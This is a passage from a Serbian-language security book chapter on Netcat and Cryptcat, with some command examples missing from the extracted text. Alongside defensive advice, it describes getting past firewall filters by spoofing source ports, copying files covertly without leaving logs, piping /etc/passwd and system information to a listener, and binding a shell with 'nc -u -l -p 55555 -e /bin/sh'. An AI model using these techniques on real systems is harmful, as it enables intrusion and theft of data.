razli~itom hostu ili portu, kreiraju}i relej.
Upotreba ove osobine zahteva ne{to poznavanja skripta. Iz razloga {to Netcat-ova -e opcija
prihvata samo jednu komandu (bez argumnata komandne linije), morate da spakujete bilo koju
ili sve komande koje `elite da pokrenete u skript. Mo`ete se i poigrati s ovim, kreiraju}i relej koji
premo{}uje nekoliko razli~itih domena. Tehnika mo`e biti iskori{}ena za kreiranje kompleksnog
"tunela", omogu}avaju}i hakeru da ote`a sistem administratoru da mu u|e u trag.
Ova mogu}nost mo`e biti kori{}ena i u dobre svrhe, naravno. Na primer, relej osobina mo`e
dozvoliti Netcat-u da vr{i funkciju proksija web stranama. Postavite ga da oslu{kuje na portu 80
na drugom sistemu omogu}ite mu da stvara sve Va{e Web konekcije (uz pomo} skripta) i
prosledite ih.
19
O
DEO I Multifunkcionalni alati
uvek mo}i da na|ete druge servise iznad 1024 sa kojima mo`ete da komunicirate dolaze}i sa
izvornog porta 20.
DNS poseduje sli~ne teme. Skoro sve mre`ne barijere moraju dozvoliti odlaze}i DNS ali ne
nu`no i dolaze}i DNS. Ako ste iza mre`ne barijere koja dozvoljava oba, mo`ete iskoristiti ovu
~injenicu da propustite nedozvoljeni saobra}aj kroz mre`nu barijeru daju}i joj izvorni port 53.
Iza barijere, pokretanje: nc -p 53 targethost 9898 mo`e Vam omogu}iti da zobi|ete filter koji
bi normalno blokirao odlaze}i America Online (AOL) Instant Messenger saobra}aj. Mora}ete biti
lukavi sa ovim, ali mo`ete videti kako Netcat mo`e iskoristiti labavo napisana pravila mre`nih
barijera. Sistem administratori }e `eleti da izvr{e provere za odre|enim rupama kao {to je ova. Za
po~etnike, mo`ete jednostavno zabraniti bilo kakav DNS TCP saobra}aj, {to }e isklju~iti ve}inu
DNS port filter problema. Primoravaju}i korisnike da koriste pasivni FTP, koji ne zahteva od
servera da inicira konekciju nazad do klijenta na TCP portu 20, omogu}ava Vam da elimini{ete
ovu rupu.
TRANSFER FAJLOVA KROZ PORT FILTERE DDPostavljaju}i ulazne i izlazne fajlove na svaki kraj
kanala podataka, mo`ete efektivno poslati ili kopirati fajl sa jedne mre`ne lokacije na drugu bez
kori{}enja bilo kog tipa "zvani~nog" fajl transfer protokola. Ako posedujete pristup komandnom
okru`enju sistema ali niste u mogu}nosti da inicirate bilo kakav fajl transfer jer prot filteri bloki-
raju FTP, NFS (Network File System) i Sambu, imate alternativu. Na strani gde se nalazi originalni
fajl, pokrenite ovo:
i sa klijenta poku{ajte:
Uspostavljanje konekcije }e odmah preneti fajl. Iza|ite sa EOF-om (Ctrl-C) i Va{ fajl bi trebao biti
netaknut.
PRIKRIVENI FAJL TRANSFER DDHakeri mogu koristiti Netcat za transfer fajlova sa sistema bez
kreiranja bilo kakvog uo~ljivog traga. Gde FTP i Secure Copy (scp) mogu ostaviti logove, Netcat
to ne ~ini.
Kada se haker pove`e na taj UDP port, dohvata /etc/passwd fajl bez i~ijeg znanja (osim ako je
toliko nesre}an da je poku{ao u trenutku kada je sistem administrator pokrenuo ps (stanja proce-
sa) ili netstat komandu).
20
O
Netcat i Cryptcat POGLAVLJE 1
DOHVATI IZLAZ APLIKACIJE DDHajde da Vas ponovo stavimo u ko`u hakera. Recimo da ste
napisali skript koji prenosi neki od va`nih sistemskih fajlova na standardni izlaz (passwd, group,
inetd.conf, hosts.allow itd.) i pokre}e nekoliko sistemskih komandi za skupljanje informacija
(uname, ps, netstat). Nazovimo ovaj skript "sysinfo." Na meti mo`ete uraditi jedno od slede}eg:
nc -l -u -p 55555 -e sysinfo
ili
sysinfo | nc -l -u -p 55555
Mo`ete dohvatiti izlaz komande i zapisati ga u fajl pod imenom sysinfo.txt koriste}i:
U ~emu je razlika? Obe komande prihvataju izlaz sysinfo skripta i kanali{u ga ka slu{aju}em
Netcat-u kako bi on poslao podatke preko mre`nog kanala onome s kim je god povezan. -e
opcija "predaje" I/O aplikacji koju izvr{ava. Kada je Sysinfo zavr{io sa svojim I/O (kod EOF-a),
slu{alac se zatvara, a to ~ini i klijent na drugom kraju. Ukoliko je sysinfo kanalisan, izlaz od
sysinfo-a jo{ uvek putuje do klijenta, ali Netcat jo{ uvek rukuje I/O-om. Klijent strana ne}e prim-
iti EOF i ~eka}e da vidi da li slu{alac ima jo{ ne{to za slanje.
Isto se mo`e re}i i za obrnuti primer. [a ako ste na ciljnoj ma{ini i `elite da inicirate konekciju ka
Netcat slu{aoca na Va{em li~nom domenu? Ako Netcat oslu{kuje na doma}em hostu posle pokre-
tanja komande: nc -l -p 55555 > sysinfo.txt, opet imate dve opcije:
ili
SAVET
Na Unix sistemima, ako se komanda koju `elite da pokrenete -e opcijom na nalazi u trenutnom radnom
direktorijumu kada pokrenete Netcat, treba}ete da specificirate punu putanju komande. Windows Netcat
mo`e, s druge strane, iskoristiti %PATH% promenljivu tako da ne poseduje ove limitacije. n
Razlika je opet, ta {to kori{}enje kanala zahteva da klijent ostane otvoren i po{to sysinfo je zavr{io
sa slanjem izlaza. Kori{}enje -e opcije }e zatvoriti Netcat klijent odmah kada sysinfo zavr{i.
Razlika izme|u ova dva moda postaje izuzetno o~igledna kad zapravo `elite da pokrenete
aplikaciju na udaljenom hostu i prosledite I/O kroz Netcat kanal podataka (kao u "Pribavljanje
udaljenog pristupa komandnom okru`enju" sekciji).
nc -u -l -p 55555 -e /bin/sh
21
O
DEO I Multifunkcionalni alati
Kao {to ste mogli i u prethodnom primeru, mo`ete poslati I/O kontrolu lokalne aplikacije Netcat-u
koji slu{a (nc -u -l -p 55555) kucaju}i slede}e:
I mo`ete uraditi ovo sa bilo kojom interaktivnom aplikacijom koja radi samo na tekstualnom
nivou bez bilo kakvih stilskih terminal opcija (na primer, vi text editor ne}e raditi dobro).
SAVET
Verovatno ne biste `eleli da koristite telnet klijent za povezivanje sa Va{im Netcat-om u oslu{kuju}em
modu, jer telnet opcije mogu napraviti pravi haos u funkcionisanju Va{eg shell-a. Umesto toga koristite
Netcat u klijent modu. n
Postavljanje zamke
Ovo mo`e biti zabavno obeshrabrenje za "hakere" koji bi to hteli da budu. Pokretanjem Netcatat-a
u prislu{nom modu na dobro poznatom portu gde bi haker mogao o~ekivati da na|e osetljivi
servis, mo`ete navesti hakera da pomisli da ste pokrenuli ne{to {to, u stvari, niste. Ako to lepo
podesite, mo`ete ~ak biti i u mogu}nosti da uhvatite hakera.
Va{ fakemail skript bi mogao odaslati neki izlaz kako bi rekao svetu da radi "swiss-cheese"
verzija alata za slanje po{te i prakti~no moli mladog hakera da do|e i provali u sistem. Do
terminacije konekcije (EOF), Va{ skript bi trebao da ponovo pokrene istu Netcat komandu. Ali
ukoliko neko po~ne da bude previ{e znati`eljan, skript bi mogao koristiti yes komandu da bi pre-
plavio napada~a sa bilo kakvim sme}em koje izaberete. ^ak iako volite da budete suptilniji,
mo`ete bar dobiti listu IP adresa koje se ka~e sa Vama u traplog.txt.
Tako|e mo`ete korisiti -g opciju za poku{aj rutiranja izvora protiv Va{e mre`e. Ve}ina mre`nih
ure|aja trebala bi biti konfigurisana da ignori{u opcije rutiranja izvora, jer njihova upotreba nika-
da nije opravdana.
22
O
Netcat i Cryptcat POGLAVLJE 1
CRYPTCAT
Cryptcat je upravo ono {to i pi{e u nazivu: Netcat sa enkripcijom. Sada mo`ete enkriptovati kanal
podataka, proksi ili relej. Hakeri mogu dr`ati Netcat saobra}aj sakriven, tako da administratori
nju{kala moraju uraditi vi{e od prostog pregleda mre`e da bi saznali ono {ta ste naumili.
Cryptcat koristi pobolj{anu verziju Twofish enkripcije. Argumenti komandne linije su isti.
O~igledno Cryptcat nije strahovito koristan za port skeniranje i komunikaciju sa drugim servisima
koji ne koriste istu enkripciju kao i sam Cryptcat. Ali ako Va{a upoteba Netcat-a uklju~uje
kopiju Netcat-a koja je pokrenuta negde u prislu{nom modu i odvojenu kopiju Netcat-a koja se
povezuje na onu prvu, Cryptcat Vam daje dodatne pogodnosti osiguravanja konekcije.
23
O
blanko